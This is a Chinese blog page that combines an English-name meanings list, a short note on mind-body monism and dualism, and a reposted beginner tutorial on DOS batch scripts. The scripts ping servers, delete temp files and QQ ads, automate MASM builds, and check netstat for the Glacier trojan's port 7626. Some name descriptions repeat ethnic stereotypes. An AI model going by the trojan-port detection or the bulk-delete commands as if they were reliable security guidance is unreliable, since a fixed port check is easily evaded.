GWENDOLYN,WANDA的简写。大部份的人认为WENDY是矮小可爱的女人,既友善又甜美。有的人却认为WENDY是具野心,无礼又傲慢的女人。 WINNIE (威尔斯)"美好"的意思。人们认为WINNIE是身材圆润的女子-心思单纯但有点急惊风,想到什么就说什么。 YOLANDA (西班牙语)"紫罗兰"。YOLANDA给人的印象是气质高雅,可静可动的女孩,看起来柔弱,却有令人不可亵渎的气质。 YVETTE 同YVONNE。人们形容YVETTE是美丽的金发法国女子-懂得人情事故,既聪明又友善,只是有点傲慢 ZOEY 同ZOE(希腊)生命之意。对大部份人来说,ZOE是美丽充满艺术气质的小孩,有趣但有点古怪。然而对某些人来说,ZOE是小心翼翼,可靠的,但又乏味的人 --------------- 男子英文名释义--------------- AARON (希伯来)启发的意思,AARON被描绘为不高但英俊的男人,诚实刻苦具有责任感,是个有效率个性沉静的领导者。 ABEL (希伯来)"呼吸"的意思,为ABELARD的简写,大部份的人认为ABEL是高大,强壮的运动员,能干,独立,又聪明。有些人则认为ABEL是瘦小,温顺的男孩。 ABRAHAM 原为希伯来文,意为"民族之父"。后来,它演变成"万物之父"的意思。大多数人将ABRAHAM形容为高大壮硕留着胡子的领袖,诚实,庄严,聪明,像亚伯拉翰林肯总统一样 ADAM (希伯来),红土制造的意思。据说上帝用红土造人,而亚当是祂造出的第一个人。 ADAM被形容是高大,黝黑,英俊,肌肉强健的男人,沉稳,聪明。 ADRIAN (拉丁文)黑色的意思。人们将ADRIAN描绘为迷人,阴柔的男子,敏感,体贴,可爱,富有。 ALVA 希伯来名,给人的感觉是很崇高、庄严的,圣经上写着ALVA 是一个地名和种族名字。 ALEX 为ALEXANDER的简写,人们认为ALEX是身强体健有着希腊血统的男子,聪明,和善,令人喜爱。 ALAN 据传,英国有一位诗人,叫Alawn(阿伦),很近似于Alan,它的意思,但后来,这个名字常变形为Eilian、Allan、Ailin、A'lon等等。Alan的发音近似于撒格逊语Aylwyn或Alwyn(熟悉的朋友)的意思)。所以它在英国很为人所欢迎。 ALBERT (老 式英语)崇高,聪明之意。ALBERT引人联想起三种形象;肥胖、笨重、缓慢,如Fat Albert;聪明,行为古怪,如Albert Einstein:或是正式, ALFRED(古英语),睿智的参谋。ALFRED给人两种截然不同的印象:一种是超重的智者,所谓智者就是有智能的老人家,行事谨慎,另一种是文弱的书 呆子。 ANDREW洛j希腊里有男子气概、雄壮、勇敢的男人。 ANDY 为ANDREW的简写,ANDY被人形容为高高的,金发的,童心未泯的普通男子,快乐,随和老实憨厚。 ANGUS (盖尔语)唯一的选择。ANGUS被视作行为怪异,惹麻烦的傻瓜。 ANTHONY (拉丁)无价的意思,人们认为ANTHONY是高壮黝黑的意大利男人,聪明强壮并坚忍。 ARTHUR (凯尔特语)"贵族",(威尔斯)英雄。Arthur有两个不同的意思:一生充满故事喜欢受注目的有趣老人;或是沉静,与众不同,信守承诺的智者。 AUSTIN 同August,Augustine.AUSTIN被视为聪明,坦诚有礼的大男孩--或者是恃才傲物的富家公子。 BEN (希伯来)儿子的意思;所有BEN开头名字的简写。Ben被描述为高大,强壮的黑发男子,沉静、可爱,随和,温柔。 BENSON (希伯来英文)"Son of Benjamin"班杰明的儿子。感谢电视上Benson Dubois,给人的印象,Benson被形容是急智的黑人管家,聪明,体贴又有趣。 BRANT 古德语,意为妖精。这里所谓妖精,可不是你我心想的贬义词,而是古代德国人对神仙的一般称呼。 BRENT 代表山顶或者避暑胜地。 BRIAN (爱尔兰语)"力量,美德",大部份人把Brian看做是爱尔兰男子,聪明,喜欢运动,并擅于社交。有些人则认为Brian是无聊喜欢黏着妈妈的孩子。 BRUCE 来 自一个地名Bruis或Braose,它是法国瑟堡(Cherbourg)附近的村庄。据说,村里有一个庄主,取名叫Bruis,当诺尔曼人征服英国时, 他们的子孙征服者来到英国,并把这姓名也传入英国。后来,苏格兰出现了一位民族英雄,叫罗伯特?布鲁斯,据说就是由法国去的布鲁斯家族的后代。 CARL (老式德语)"农人"同CHARLES。大部份的人认为CARL是个直率的人--照顾人,有礼的绅士,聪明稳重又沉静。而有些对CARL印象不那么好的人则认为,他是个自以为是而且脾气暴躁的人。 CARY, Carey(威尔斯)"来自城堡的",(同Kerry)人们认为Cary是个适合电影明星的名字,温和,友善,无忧无虑的人,有些人则认为这个名字听起来相当女性化。 CASPAR 人们对Caspar有两种印象。友善,害羞乐于助人的,就像鬼马小精灵一样。或是年长,有着忠实信仰,就像圣经里Caspar一样. CHARLES(古德文)有男人气概,强壮。CHARLES不是被看做辛勤,忠实的朋友与领导者就是被认做是聪明,自大的吹毛求疵者。 CHENEY 采尼,法语意为『橡树林的人』。 CHRIS为CHRISTIAN,CHRISTOPHER的简写。CHRIS给人的印象是外表清爽,标准的美国男孩,聪明,可爱又有趣。 COLIN (爱尔兰迦略克)"孩子"的意思;同NICHOLAS人们将COLIN描绘为富有,金发的调情者,白天是聪明学有专精的人,夜晚是个迷人的花花公子。 COSMO 希腊字,意为『宇宙』或者『秩序井然』。此名常见于苏格兰人。 DANIEL (希伯来)"上帝为我们的裁决者".Daniel被形容为英俊强壮的美国童子军,喜好运动勇敢,友善,值得信赖,教养良好,聪明且随和的人。 DARRYL(古英语)意为『亲爱的』。 DEREK (老式德语)"统治者"的意思。DEREK5被视为高壮,英俊,有男子气慨的运动员,个性为强悍,沉静,个性害羞。 DOUGLAS (苏格兰盖尔语)"从深水而来"。人们说Douglas是个强壮英俊的男子,不是聪明,敏感安静的类型,就是勇敢,外向常招惹一堆麻烦的人。 DAVID (希伯来)挚爱的意思。人们形容DAVID是强壮,英俊,聪明的男人善良,幽默又独立。 DENNY 所有以DEN开头的名字的简称,DENNY这个名字让人联想到课堂上的笑蛋-爱玩友善极度幽默的年轻男孩,脑袋却不太灵光。 EDGAR (老式英语)"幸运的战士"。原盎格鲁萨克逊语为Eadgar。Ead-这个前缀词表示『富有』,『幸福』。 英国历史上,有一位人人皆知的国王Edgar the Peaceful(安详的埃德加),创建了英国的海军部队,并联合了八个小国王,使英国国力有所增强。十九世纪美国诗人兼小说家阿兰?波(Edgar Allan Poe)就是叫Edgar,昵称Ed。 EDWARD (古英语),幸福的保护人。人们认为EDWARD这名字非常适合拘谨的书虫,衣冠楚楚的作家或生意人。 EDWIN (老式英语)"富有的朋友"人们将EDWIN描绘为年长足智多谋的人。但对某些人来讲,EDWIN也有其阴森邪恶的一面。 ELLIOTT 是个时髦的英文名字,源于Elijah。Elliott这个名字给人两种感觉,一是吸引人自视颇高的专业人士,聪明有主见。另一则是四眼田鸡,做事一板一眼的书呆子。 ELVIS (老 式挪斯语)"全能的"同Elwin。Elvis Presley是这个名字的代表人物。人们将Elvis描绘为英俊大方,唱蓝调的南方摇滚巨星 EVAN(威尔斯)"年轻的战士",JOHN的威尔斯型式。人们形容Evan是文质彬彬的年轻人有着男孩般俊俏面容,聪明的能够完成医学院的学业,才气纵 横的足够出书。 ERIC (挪威)永远的领导者,永远的力量,也是FREDERICK的简写。ERIC被叙述为受欢迎的斯甘地拉维亚人有自信,聪明而且心地善良。 FRANCIS (拉 丁)法国人。FRANCIS这个名字令人联想到稳重的学者或是极度依赖宗教缺乏自信心的人。 FRANK 是FRANCIS,FRANKLIN的简写,人们对FRANK有两种截然不同的印象:辛勤工作的年长男人,独立,友善,并且温柔。不然就是又高又壮的蓝领 阶级,懒惰,不受欢迎,又粗心。 FRED 所有含"FRED"名字的简写。FRED被形容为善良,风趣。人们口中的FRED不是矮小,肥胖,笨重那型就是优雅的舞者,如Fred Astaire。 GABY 为Gabriel的昵称,原为希伯来文,意为『上帝的人』。据<圣经>说,天使Gabriel是上帝派来的使者,由他来宣布约翰和耶稣的出生。 GARFIELD (老式英语)战场之意。很多人都认为GARFIELD就像那只卡通猫一样-肥肥,爱惹麻烦的毛球。其它的人则认为GARFIELD具有领袖的特质-精明,世故,又乏味。 GARY "先锋"的意思。是Gerald的简称。人们认为Gary是长长得高高壮壮的普通男人,平易近人,和善又有趣。 GAVIN 古 德语,意为"白鹰"或"战鹰"。在古威尔士语中,Gawain或Gawen是『小鹰』的意思。『鹰』一直成为古代德国、英国等国家人民崇奉的对象。他们把 『鹰』看做『战斗』的象征,是他们心目中的战友。 GIBSON古德语,意为"光明磊落的誓约"。据说,此名表达家长们希望自己的子女继承其祖先财物及传统的愿望。 GINO 为Ambrogino,:Luigino。人们口中的Gino是矮小,黝黑,满身肌肉的意大利人,友善,活力充沛,而且风趣。 GLEN (爱 尔兰迦略克)"山谷"的意思。为GLENDON的简写。GLEN不是被看做善良,单纯,踏实的中阶层男子就是勇敢,聪明有创造力的富家子弟。 HARRISONHARRISON (古英语),亨利之子。HARRISON被形容为英俊,富有的男子,优雅,傲慢或是敏感脾气温和的人。 HUGOHUGH 的拉丁型式。大部份人眼中的HUGO是圆润的男子(有点胖胖的),个性温和,独具特色,有时间观念。 HUNK 大个儿,大块头。在人们印象中HUNK是个辛勤工作,心思单纯,自动自发的年轻人且活泼外向。 HOWARD (老式英语)看守人。Howard形容的不是乏味的中等阶级就是富有掌权之人。 HENRY(老式德语)庄园的领主。HENRY这个名字给人数种不同的看法。懦弱的四眼书虫,野心勃勃,独立自主的专业人士,或是强壮,随和的农夫。 IGNATIVS (拉丁)意为,"如火如荼的",其变形为IGNACE、IGNATZ。 IVAN 男子名,John的俄语形式。大部份人认为Ivan是勇敢的俄国男子,强悍,冷酷,而且霸道。 ISAAC(希伯来)"他笑了"的意思。人们认为ISAAC是聪明体贴的学者型男人,通常不是犹太人就是黑人。 JACK 同JOHN,JACOB;是JACKSON的简写,大部份的人认为Jack是个具威胁力的人-体魄健壮,阳刚,强壮,自负,聪明。也有人认为Jack可爱,有趣喜欢追求快乐的家伙。 JAMES 为JACOB的英文形式,JAMES被描绘为大块头,强壮的英俊男人,聪明,严谨,诚实个性依赖。有些人则认为JAMES是粗鲁,自负的贵族。 JASON 被 认做可爱,喜好运动的金发男孩,但人们却对Jason的人格有争议。他可能是主观,风趣受欢迎,固执,不受束缚,调皮,或沉静,害羞,常自省的人。 JEFFERYJEFFERY被形容为孩子气,黑发,俊朗的男子。有些人则说JEFFERY是聪明的万事通,有钱又自大的小子,还有人说他是个中等男子, 可靠,迟钝又单调。 JEROME (拉丁)圣洁的名字,在人们印象中,Jerome是个传统的名字,它让人联想到的是有趣,聪明,又体贴的男孩。 JERRY 是GERALD,JEREMIAH,JEROME的简称,大部份的人认为Jerry是高挑,友善,好玩性格极佳的人。有的人则认为Jerry是个喜欢带着金链子的大块头。 JESSE (希伯来)"上帝存在"。JESSE给人支配者的印象--一个坚轫,狂放不拘的不法之徒,可说是个坏胚子。 JIM James的简写,JIM被认为是好看运动员般的金发男人,友善,安静的平凡男人。 JIMMY JAMES的简写。JIMMY不是被描绘为友善单纯的男孩就是邻家的大个儿。 JOE JOSEPH的简写。JOE被看做一般的美国男孩-强壮,英俊的男子,体贴容易相处。 JOHNNY 同 JOHN。JOHNNY被看做黑发,高壮,稚气未脱的美国男孩,通常不是安静赖着妈妈的男孩就是静不下来的捣蛋鬼。 JOHN (希伯来)"上帝是慈悲的"。John,一个带着圣经浓厚色彩的名字,让人联想到清爽聪明的男子,个性坚强独立。 JOSHUA (希伯来)意为获得上帝帮助的人。JOSHUA被视作英俊的男子,羞涩,聪明,独立,忠实的信徒。 JUSTIN (拉丁)"品格端正"。Justin被形容作可爱,棕发,爱玩,稚气未脱的男子,喜欢钓鱼及溜狗。人们说Justin可能成为富有的专业人士,公正,受人 敬重,可靠的公民。 KEN 是KEN结尾的字的简写,KEN被描绘成高挑英俊的金发男人,受欢迎,又风趣,但是肤浅。 KENNY 是Kenneth的简写,人们把kenny当做是一般的美国男孩,年轻的足球英雄而且心地善良,成年后也是个肯为家庭投注心力的好男人。 KEVIN (爱尔兰)温和,可爱的,KEVIN被描绘为年轻喜好运动的美国男孩,心地好,有点固执。 LANCE (老式德语)"大地",Lance被形容为爱情小说中的英雄人物--英俊,有男子气慨,富有,也是厉害的花花公子。 LARRY LAWRENCE的简写。大部份人认为LARRY是随和友善的-所到之处无不充满笑声。有人则认为LARRY是吃人不吐骨头的奸商。 LEE (古英语)来自牧场之人。LEE这个名字结合了两大形象:一是强壮,肌肉强健,充满自信的牛仔或是文静,保守的世故者。 LEO (拉丁)"狮子",为Leander,Leonard,Leopold的简写。大部份人认为Leo是强壮且温和的。他被形容为热情的背叛者,总以一付艺术家或捍卫和平的面貌出现。 LORI 源 为拉丁文Laurentium(劳伦迪乌斯),是从Laurentium(荣誉之城)或(月桂树之域)变来的。显然,这个字的词根『Laurel』『月 桂』是很吸引人的。因为在古代,『月桂』是作为胜利和『荣誉』的象征。同Lauren、Laurent、Loren、Lorin、Larry、 Laurence、Lorry。 LUKE "路加尼亚的人"同LUCIUS LUKE不是被看做强壮,结实,忠实,愚蠢,就是风趣,友善,吵闹的人。 MARCUS同MARK,MARCUS给人的印象是高大强壮英俊的运动员或单纯乏味的生意人。 MARK (拉丁)好战的意思。好战的?一点也不会!人们说Mark是爱好运动,非常英俊的男人,风趣爱好自由,而且是个细心的朋友。 MARS 出自拉丁文,为古罗马『战神』之名。同MARKS,MARTIN,MARCY. MICHAEL(希伯来)像主的人,MICHAEL被描绘为强壮,英俊的男人,聪明成功的刻苦工作者,随和,快乐的居家男人。 NEIL, Neal(爱尔兰迦略克)"冠军"之意。大部份人把Neil看做聪明有才能的人,成就极高个性温和。有人则觉得Neil是骄纵固执的人。 NICHOLAS (希腊)"胜利的人"。感谢圣者Nicholas,大部份的人认为Nicholas是可爱,肥胖,快乐,大方的。有些人则认为Nicholas是个被宠坏难以捉摸的小恶魔。 OLIVER (拉丁),"橄榄树"。(斯堪地拉维亚)"温和亲爱的"。OLIVER给人好几种印象。脏兮兮无忧虑的乡下小孩;好学用功的书虫;热心奉献的人;或者愚蠢有趣的漫画人物。 OSCAR (斯堪地那维亚)"神圣的持枪者"。人们心目中的Oscar不是风趣,懒散,无忧无虑的冒失鬼就是讨厌固执,经常抱怨的人。 PAUL (拉丁)"小"的意思。大部份人认为PAUL是庄严,稳重坚定的人,但有人认为他有魅力,创造力又和善。 PATRICK(拉丁名),意为『高贵的』、『贵族的』。在爱尔兰和苏格兰,此名较为流行。 PETER (希腊)岩石。人们认为PETER是个不做作,诚实,开放的人。有些人则认为PETER是个充满野心和爆发力的。 PHILIP Philip这个名字给人几种不同的印象:一个有朝气的军官;自大的王子;有钱的商人,聪明内向的人。 PHOEBE 聪明,闪亮。理所当然人们心中的Phoebe是个性爽朗,带给大家欢笑的开心男孩。 RANDY 为Randall,Randolph的简写。RANDY被看做高瘦,讨喜的男孩,若不是安静,聪明努力的人不然就是擅长运动,爱玩幽默的乡村男孩。 REX (拉 丁)帝王的意思。谢谢HENARY HIGGINS做的REX HARRISON的雕像,人们对REX的印象是强壮庄严相当有自我风格的人,但别人眼中却稍嫌莽撞。有些人却认为REX是个独来独往的死硬派-有可能是飞 行员或小偷。REX也是个适合小狗的名字。(当然也适合恐龙啰!) RICHARD RICHARD在古德文中意谓着"掌理大权的统治者",这个名字给人两种形象;一个是英俊强壮,擅长运动的美国男孩:另一个是诚实,严肃,但敬业乐群的男人。 RICHIE 原为盎格鲁撒克逊语Ricehard,意为『统治得很稳固』。在古德语中,也有相应的名字Ricohard,意为『严厉的统治』。同Rick、Ricky、Ritchie。 ROBERT (老式英语)"光辉和著名的"。ROBERT给人两种不同的印象:英俊,强壮的运动员,风趣外向;粗壮的普通人,安静保守。 ROBINSON 同ROBERT的;简写为ROBIN。ROBINSON给人两种不同的印象:一种是安静勤奋的工作者或是活泼外放的喜剧演员如Robin Williams. ROCK (老式英语)源于石头,为Rochester,Rockwell的简写。Rock用来形容头脑简单四肢发达的人-大块头,满是肌肉的运动员,强壮,驽钝,就像石头一样硬。 ROGER (古德语)著名的枪手。ROGER被视作英俊的男子,友善,讨人喜欢充满乐趣。 RYAN (爱尔兰)"小国王"。 Ryan被形容为强壮,活跃的男子,长得很英俊却很害羞。 SAM 为SAMSON,SAMUEL的简称。人们印象中的SAM是个强壮的,温和,忠实脚踏实地的人,而且是可以交心的朋友。代表人物是人人皆知的UNCLE SAM SAMUEL (希伯来文),schama(意为『听』)和El(意为『上帝』)连成的。其完整意思为"被上帝听到的人"。这和圣经中的传说有关。圣经说预言家Samuel的母亲把他的降生看作是上帝对她的祷告的回报。 SEAN 为John的爱尔兰形式。 SHAWN 被形容为阴晴不变独来独往的人如西恩潘,或是英挺,刺激,上流社会的英国人,如史恩康纳莱。 SHAWN为John,Sean的爱尔兰形式。 SHAWN被形容为英俊的年轻人,活泼,受欢迎,温和。 SIDNEY (法文)由圣者丹尼士衍生出。SIDNEY这个名字令人联想到学有专长的专家英俊又善良。虽然有人认为SIDNEY是反传统且不按牌理出牌之人。 SIMON 希伯来人,意为听者。SIMON被视作强壮魁梧的男子,若非有着安静简朴的个性就是聪明而富创造力。 SOLOMON 希伯来文,意为平静的小人。令人联想到矮小,秃头犹太教师或先知,强壮温和,又睿智。 SPARK (美国)"闪闪发光",SPARK被人们描绘为充满活力的人-反应灵敏,生气蓬勃并为人们带来快乐的人。 SPENCER 来自法语,意为仓库保管人或粮食分配者。人们对他的印象直接来自SPENCER TRACY。人们想象中的SPENCER是灰发的年长男子,极为幽默。 SPIKE 又长又重的钉子。SPIKE被描绘为独立强悍的街头老大,可能是莽夫或拳击手。有些人则以为这个名字很适合狗;我就认识一只叫SPIKE的狗。 STANLEY (古式英文)来自牧草地。STANLEY这个名字给人两种印象:安静,年长蓝领劳工或是瘦骨如柴的怪人。 STEVEN 同Stephen。人们心目中的Steven是高壮,英俊的男子,沉静,斯文有礼,性格和善。 STUART 原为苏格兰语,看管家畜的人,有时可解释成看管物业的人。给人两种印象:雄壮威武的高手或是聪明教养良好的士绅。 TERRENCE (拉丁语)"光滑",TERENCE这个名字让人们联想到活泼,纤细,高挑的黑人或是黑发,温和的男孩。 TERRY 为TERENCE的简写,TERRY是个喜欢追求乐趣的男孩,喜欢运动,善良,而且充满欢笑。 TIMOTHY 原希腊语TIMOTHEOS,意为光荣的上帝。大部份人将提摩西想成是羞涩甜美的可爱小孩。 TOMMY 为THOMAS的简写,TOMMY给人邻家男孩的感觉,长相清秀,可爱的金发小男孩。 TOM 为THOMAS的简写,TOM可说是一般典型美国人的代表,无所不在,自信,讨人喜欢而且做人实在。 THOMAS 古亚拉姆语,意为双胞胎。THOMAS被认为是聪明,可靠,教养良好有急智的男子。 TONY 为ANTHONY的简写。人们眼中的TONY是善良,强壮的运动员,冷静能自理的男孩。 TYLER 古英语,瓦匠。TYLER给人两种印像:富有自大或者肥硕善良无忧无虑的生意人。 VAN (荷兰)"贵族后裔",为许多荷兰名字的姓。 VERNVernon的简写。Vern有着两个差异颇大的意义:呆板,单调的怪老头或英俊黑发的年轻男子,勇敢,积极,有着横扫千军的气魄。 VINCENT (拉丁语)"征服"。大部份的人认为Vincent是沉静,如艺术品般的男人。稳重善解人意。然而有人认为Vincent是邪恶的罪人。 WARREN (古德语)"保卫者",WARREN这个名字给人两种印象:英俊诡诈,老是与麻烦脱不了关系的人;或是努力工作的会计,聪明但乏味。 WESLEY (老式英语)来自西方草原。WESLEY这个名字给人两种印象:一种是被宠坏,甜美自大的娘娘腔。另一种则是年轻有着顽皮个性的专业人士。 9/30/2008 [哲学]一元论和二元论
一元论和二元论:所谓一元论和二元论是指在处理身与心关系问题上两种不同的哲学观点.一元论主张认为这两者实际上是统一的东西,但统一的主体是什么,则是有不同,唯物主义一元论主张是物质,唯心主义则主张是精神.二元论则把这两者当作是两个不同的实体,或者把它们看作是各不相干,或者承认两者之间的联系的基础上说明两者的相互作用.一元论和二元论都有自己的理由,但也都存在自己的困难.唯心一元论的在于所谓的灵魂是否就是心,如果不是,岂不自相矛盾
如果是,灵魂离开肉体干什么去了
唯物一元论观点看起来更明显符合常识,但因为完全否定心的存在,也有一些问题:物质本身又是如何知觉自己呢,人怎样才能把他们意识到的原子多其他原子中区别出来呢
二元论的主要困难在于,心与身既然是两种完全不同的东西,那么它们是怎样被联结起来的 身与心的关系究竟是什么。 9/25/2008 [计算机]Win2003系统无法自动给移动硬盘分配盘符方法一: windows2003不能自动分配USB移动硬盘盘符的解决方法: 9/3/2008 bat批处理教程[转帖]这是一篇技术教程,我会用很简单的文字表达清楚自己的意思,你要你识字就能看懂,就能学到知识。写这篇教程的目的,是让每一个看过这些文字的朋友记住一句
话:如果爱可以让事情变的更简单,那么就让它简单吧!看这篇教程的方法,就是慢!慢慢的,如同品一个女人、一杯茗茶,你会发现很多以前就在眼前的东西突然
变的很遥远,而有些很遥远的东西却又突然回到了眼前。 先概述一下批处理是个什么东东。批处理的定义,至今我也没能给出一个合适的---- 众多高手们也都没给出----反正我不知道----看了我也不一定信服----我是个菜鸟,当然就更不用说了;但我想总结出一个“比较合适的”,而且我也 相信自己可以把它解释的很清楚,让更多的菜鸟都知道这是个什么东东,你用这个东东可以干什么事情。或许你会因为这篇文章而“无条件爱上批处理”,那么我的 目的就达到了----我就是要让你爱上它,我就这么拽,你能怎么着??真的,爱有时候就这么拽,就是这么没理由,就是这么不要脸!真的! 按照我的理解,批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。 OK,never claver and get to business(闲话少说言归正传)。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式, 只要遵守以下这条就ok了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一 个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。我不想让自己写的教程枯燥无味,因为牵缠到代码(批处理的内容算是代码吧?)的问题本来就是枯 燥的,很少有人能面对满屏幕的代码而静下心来。所以我会用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,感受它那古灵精怪的性格,不 知不觉中爱上批处理(晕,怎么又是爱?到底批处理和爱有什么关系?答案:没有!)。再说句“闲话”:要学好批处理,DOS基础一定要牢!当然脑子灵活也是 很重要的一方面。 例一、先给出一个最easy的批处理脚本让大家和它混个脸熟,将下面的几行命令保存为name.bat然后执行(以后文中只给出代码,保存和执行方式类似): ping sz.tencent.com > a.txt ping sz1.tencent.com >> a.txt ping sz2.tencent.com >> a.txt ping sz3.tencent.com >> a.txt ping sz4.tencent.com >> a.txt ping sz5.tencent.com >> a.txt ping sz6.tencent.com >> a.txt ping sz7.tencent.com >> a.txt exit 是 不是都能看的懂?是不是很easy?但它的作用却是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮 助你迅速找到速度最快的QQ服务器,从而远离“从服务器中转”那一痛苦的过程。这里>的意思,是把前面命令得到的东西放到后面所给的地 方,>>的作用,和>的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可 以使这个a.txt文件越来越大(想到如何搞破坏了??)。By the way,这个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东东,执行后直接显示速度最快的服务器IP,是不是很爽?后面还将详细介绍。 例二、再给出一个已经过时的例子(a.bat): @echo off if exist C:\Progra~1\Tencent\AD\*.gif del C:\Progra~1\Tencent\AD\*.gif a.bat 为 什么说这是个过时的例子呢?很简单,因为现在已经几乎没有人用带广告的QQ了(KAO,我的QQ还显示好友三围呢!!),所以它几乎用不上了。但曾经它的 作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。 在这个脚本中使用了if命令,使得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就 一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一点点内存,呵呵。 例三,使用批处理脚本查是否中冰河。脚本内容如下: @echo off netstat -a -n > a.txt type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!" del a.txt pause & exit 这 里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy的判断出来是否被人种了冰河。然这不是确定的, 因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一 下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。呵呵,是不是很过瘾?脚本中还利用了组合命令&&和管道命 令|,后面将详细介绍。 例四,借批处理自动清除系统垃圾,脚本如下: @echo off if exist c:\windows\temp\*.* del c:\windows\temp\*.* if exist c:\windows\Tempor~1\*.* del c:\windows\Tempor~1\*.* if exist c:\windows\History\*.* del c:\windows\History\*.* if exist c:\windows\recent\*.* del c:\windows\recent\*.* 将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor~1这个东东;二、可根据自己的实际情况进行改动,使其符合自己的要求。 怎 么样,看到这里,你对批处理脚本是不是已经有点兴趣了?是不是发现自己已经慢慢爱上了这个东东?别高兴的太早,爱不是一件简单的事,它也许能带给你快乐和 幸福,当然也能让你痛苦的想去跳楼。如果你知道很难还敢继续的话,I 服了 YOU!继续努力吧,也许到最后你不一定得到真爱(真的有这可能,爱过的人都知道),但你可以体会到整个爱的过程,就是如此。 酸、苦和辣,有没有甜天知道。 为什么会把批处理和爱情扯上关系?不是我无聊,也不是因为这样写有趣多少,原因有二:其一,批处理和爱情有 很多相同的地方,有些地方我用“专业”的行话解释不清(我不怀疑自己的表达能力,而是事情本身就不好说清楚),说了=没说,但用地球人都知道的爱情一比喻 (爱情是什么?我**怎么知道!!),没准你心里一下就亮堂了,事半功倍,何乐而不为?其二,我这段时间状态不是很好,感冒发烧头疼鼻塞,但主要还是感情 上精神摧残,搞的人烦透了,借写教程之际感慨几句,大家就全当买狗皮膏药了,完全可以省略不看(也许还真有点效果----不至于让你看着看着就睡着了,把 头磕了来找我报销医药费)。说不定下次的教程中大家还会看到杨过、张无忌等金老前辈笔下的英雄们。 看过第一章的朋友,一定对批处 理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。这和爱情就有 点不同了,因为爱情的世界是两个人的世界,一厢情愿不叫爱情(补充:那叫单恋。废话!)而批处理却是一个人的天堂,你可以为所欲为,没有达不到的境界! 批 处理看起来杂乱无章,但它的逻辑性之强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定 得到你想要的结果,也许是一屏幕的Bad command or fail name。这又和爱情有了共同点:按步骤来经营,缺少或增多的步骤都可能导致不想看见的结果。陷入爱河的朋友,相信没有不肯定这句话的。我的爱情批处理, 输出的结果不是Bad command or fail name,屏幕是这么显示的:‘你的爱情’不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。 从 这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS 更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、DIR 等就不做介绍了(这些看似简单的命令实际复杂的很,我怕自己都说不清楚!)。 例五,先看一个实例。这是一个很有意思的脚本,一个小巧实用 的好东东,把批处理“自动化”的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连 接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很(只有经历过的朋友才懂得)。如何使这个过程变的简单呢?在我们搞汇编课程设计时,我“被 逼”写了这个脚本,用起来很爽,呵呵。看看脚本内容: @echo off ::close echo cls ::clean screen echo This programme is to make the MASM programme automate ::display info echo Edit by CODERED ::display info echo Mailto me : qqkiller***@sina.com ::display info if "%1"=="" goto usage ::if input without paramater goto usage if "%1"=="/?" goto usage ::if paramater is "/?" goto usage if "%1"=="help" goto usage ::if paramater is "help" goto usage pause ::pause to see usage masm %1.asm ::assemble the .asm code if errorlevel 1 pause & edit %1.asm ::if error pause to see error msg and edit the code link %1.obj & %1 ::else link the .obj file and execute the .exe file :usage ::set usage echo Usage: This BAT file name [asm file name] echo Default BAT file name is START.BAT ::display usage 先 不要被这一堆的东西给吓怕了,静下心来仔细的看(回想一下第一章中第一段是怎么写的!!)。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容 解释的E文(害怕E文的朋友也不用担心,都很easy,一看就懂了,实在不懂了不会查词典啊,这么懒?),在脚本执行时不显示,也不起任何作用。倒数第5 行行首有一个冒号,可不是笔误哦!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码 (当然还有这个脚本,废话!)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码 到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源 代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进 性,简单进行修改就可以符合不同朋友的上机习惯。正在学汇编的朋友,一定别忘了实习一下! 在这个脚本中出现了如下几个命令:@、echo、::、pause、:和goto、%以及if。而这一章就将讲述这几个命令。 1、@ 这 个符号大家都不陌生,email的必备符号,它怎么会跑到批处理中呢?呵呵,不是它的错,批处理本来就离不开它,要不就不完美了。它的作用是让执行窗口中 不显示它后面这一行的命令本身(多么绕口的一句话!)。呵呵,通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的@echo off中,@的作用就是让脚本在执行时不显示后面的echo 